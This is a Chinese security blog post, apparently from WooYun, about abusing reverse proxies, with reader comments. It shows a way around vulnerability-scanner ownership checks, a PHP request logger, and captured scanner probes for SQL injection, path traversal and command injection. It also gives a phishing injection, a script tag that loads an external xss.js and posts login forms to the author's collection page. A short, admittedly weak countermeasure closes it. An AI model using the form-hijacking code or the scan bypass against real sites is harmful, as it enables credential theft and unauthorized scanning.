反向代理的有趣用法

VIP 2013-08-27 10:53:00

0x00 简介


首先请各位客官看这里:http://viptest.yupage.com

这便是一个使用开源程序7ghost搭建的反向代理演示站。

反向代理,是指反向代理服务器从目标内容服务器上抓取内容返回给用户,反向代理服务器充当了一个中介的功能,它本身是没有任何内容的。整个流程如下:

整个流程非常简单,只需要负责映射请求的.htaccess和负责抓取内容的index.php就可完成,中间还可以通过正则表达式等实现内容和网址的替换。

这种技术还广泛运用于小偷程序中。

0x01 用反向代理让漏洞检测平台帮我们扫漏洞


现在有一些在线漏洞检测平台(如360 安全宝等),都能让我们对目标网站的安全状况有一个初步的了解。但是,这些漏洞检测平台都是需要验证所有权的,那么,我们能不能绕过这个限制呢?反向代理能解决这个问题。

首先,使用设置好反向代理的目标(如wooyun.org),然后将我们配置好了反向代理程序的网址输入到漏洞检测平台,选取代码验证方式,在我们的核心中转页面(index.php)中插入这段代码,就能够通过漏洞扫描平台的验证,扫目标站的漏洞了。

0x02 搭建一个“蜜罐”来抓取漏洞扫描平台的扫描语句


各个在线漏洞扫描平台都看上去非常高端洋气国际化的样子,那么,它们是怎么扫描的呢?可以使用反向代理来抓扫描语句。

首先,在index.php核心中转文件中加入一段代码,将所有请求记录到log.txt中

$data = $_SERVER['REQUEST_URI'] . "\n";
if ($_POST) {
    foreach ($_POST as $key => $value) {
        $data.= "$key=$value" . '\n';
    }
}
file_put_contents("log.txt", $data, FILE_APPEND);

然后将搭建好的“蜜罐”丢给360漏洞扫描平台扫描,大约1个小时后,去看看log.txt,已经记录下了上千条扫描日志,由于日志太长,无法全部贴上来,选取几条有代表性的贴上来,并注释了一下可能的用途,全部日志请在http://viptest.yupage.com/log.txt查看。

/index.php 用蜘蛛从主页层层抓取页面
/akjkl678686hjhjk/ 抓取404页面标识
/admin/ 扫描后台地址
/backup/ 找备份
/bugs/new_confirm/phpmyadmin/ phpmyadmin空口令
/crossdomain.xml 看有没有flash跨域限制
/bugs/new_submit/fckeditor/upload/ 找有漏洞的编辑器
/examples/jsp/cal/cal2.jsp?time= 检测XSS
/job.php?action=list%27and%28123%29%3D%27321 扫描SQL注射
/?&redirect:%25{13579246-1} Struts2
/bugs/phpinfo.php phpinfo
/job.php?action=../../../../../../../../../../../../boot.ini%00.htm 扫任意文件读取
/user.php?action=login%7Cping+-n+12+127.0.0.1 扫命令执行

除此之外,还大量扫描了一些不存在的页面,如/bugs/new_unclaimed/fckeditor/ajkljlhjh/,不知道有何用意。

0x03 钓鱼


由于所有经过反向代理服务器的页面都可以控制,所以我们也可以利用此进行钓鱼。请各位看这里:http://viptest.yupage.com/user.php?action=login

我使用正则表达式在该页面中插入了一段这样的代码

<script src="http://pujun.li/xss.js"></script><script>xss.xform(document.forms[1],'http://vip.yupage.com/wy.php');</script>

使用了长短短的表单劫持代码,这样如果用户在我的演示站登录乌云帐号时就会自动把乌云帐号发送到我的一个接受页面,而还是能正常登录的。除此之外,由于所有经过反向代理服务器的页面都可以控制,我们还可以做很多事,如在页面中动态插入一个xsser.me盗cookies等。

0x04 如何防止被反向代理


看完了反向代理的危害后,如何防止自己的站被反向代理呢?有一段代码能够较好地防止被反向代理

.htaccess:

RewriteEngine On RewriteBase / php_value auto_append_file proxy.php proxy.php:
<?php  
    if ((getenv("HTTP_X_FORWARDED_FOR")!="")&&($getenv("HTTP_HOST")!="wooyun.org")){  
        exit();  
    }  
?>

实际上XFF头完全可以伪造,此方法并不能完全防御住~

评论

M

momo 2013-08-27 13:13:40

又学到了一些。

萧然 2013-08-27 14:51:07

这个好!

围剿 2013-08-27 14:53:20

又学到好东西了,感谢分享

三十度 2013-08-27 16:30:36

好厉害的赶脚

红帽子 2013-08-28 08:25:28

感觉无法防御

Z

ziwen 2013-08-28 09:08:05

流b

C

Crackkay 2013-08-28 11:16:38

谢谢分享,学习到了!感谢!

爱上平顶山 2013-08-28 11:30:08

恩嫩谔谔

P

plt 2013-08-28 15:31:57

好洋气。。。

小沛 2013-08-28 18:22:06

感谢分享。 楼主真的未满18岁吗

小沛 2013-08-28 22:17:45

@vip 求份7Ghost 2 的源码

假面, 2013-08-29 10:13:23

不知道新狗拦不拦截 数字公司跟安全宝的扫描~

艾特绅 2013-08-31 23:32:21

@小沛 有源码 没管理平台的账号 怎么破 - -

艾特绅 2013-08-31 23:32:36

有源码 没管理平台的账号 怎么破 - -

W

wals 2013-09-11 16:40:04

好吧,刚Google到viptest.yunpage.com还以为是山寨站呢

S

sky 2013-09-16 12:17:25

我看看有没有源码

龙臣 2013-10-21 15:16:42

实际上XFF头完全可以伪造,此方法并不能完全防御住~//欲练此功,必先自宫。如若自宫,未必成功。

J

jeary 2013-11-08 11:10:15

求搭建反代详细教程。

1

1428666 2014-01-21 18:51:50

有没有如何搭建反向代理的文章个?

路人甲 2014-09-21 14:16:58

cosmetic dentistry grants uk...
反向代理的有趣用法 | WooYun知识库...

N

null 2014-10-28 10:23:21

.net 已经封装了的有何好的办法呀?

imlonghao 2015-06-09 13:09:46

@jeary 反代Nginx也就6行代码的事情把

路人甲 2016-06-07 07:08:24

思路很好。赞

随机分类

IoT安全 文章:29 篇
浏览器安全 文章:36 篇
事件分析 文章:223 篇
前端安全 文章:29 篇
XSS 文章:34 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录